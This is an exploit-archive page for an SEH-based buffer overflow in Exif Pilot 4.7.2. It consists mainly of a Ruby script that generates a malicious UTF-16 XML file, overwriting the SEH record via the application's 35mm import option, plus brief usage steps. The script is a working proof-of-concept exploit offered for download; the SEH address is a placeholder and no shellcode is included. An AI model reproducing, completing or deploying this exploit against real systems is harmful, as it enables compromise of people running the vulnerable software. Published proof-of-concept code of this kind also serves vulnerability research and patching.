what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Exif Pilot 4.7.2 Buffer Overflow

Exif Pilot 4.7.2 Buffer Overflow
Posted Jan 21, 2015
Authored by Osanda Malith

Exif Pilot version 4.7.2 SEH-based buffer overflow exploit.

tags | exploit, overflow
SHA-256 | 5117c0bf1833397b5724a6e62d92a06d4545cab17646d109905ba7c4d8ebbd49

Exif Pilot 4.7.2 Buffer Overflow

Change Mirror Download
#!/usr/bin/env ruby
# Exploit Title: Exif Pilot SEH Based Buffer Overflow
# Version: version 4.7.2
# Download: http://www.colorpilot.com/load/exif.exe
# Tested on: Windows XP sp2
# Exploit Author: Osanda M. Jayathissa
# E-Mail: osanda[cat]unseen.is

=begin
Click Tools > Options > Customize 35mm tab > Import > and choose "output.xml".
The p/p/r addresses contains null characters.
=end
require 'rex'

def generate_content(padding1_len, padding2_len)
header = "\xff\xfe"
header << Rex::Text.to_unicode("<?xml version=\"1.0\" encoding=\"UTF-16\" ?>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode("<efls>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode(" <eflitem>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode(" <maker>");
header << Rex::Text.to_unicode("");

for i in 0..padding1_len
header << Rex::Text.to_unicode("A");
end

header << "\xeb\x00\x06\x00\x90\x00\x90\x00" #nSEH
header << Rex::Text.to_unicode("CCCC"); #SEH

for i in 0..padding2_len
header << Rex::Text.to_unicode("A");
end

header << "\x0d\x00\x0a\x00\x09\x00\x09\x00"
header << Rex::Text.to_unicode(" </maker>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode(" <model>abc</model>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode(" <factor>0.000000</factor>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode(" </eflitem>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode("</efls>")
header << "\x0d\x00\x0a\x00"
return header
end

##
# main
##

filename = 'output.xml'
output_handle = File.new(filename, 'wb')
if !output_handle
$stdout.puts "Cannot open the file #{filename} for writing!"
exit -1
end

header = generate_content(1619, 7000)

$stdout.puts "Generating file #{filename}"
output_handle.puts header
output_handle.close

$stdout.puts "Done!"
exit 0
#EOF
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close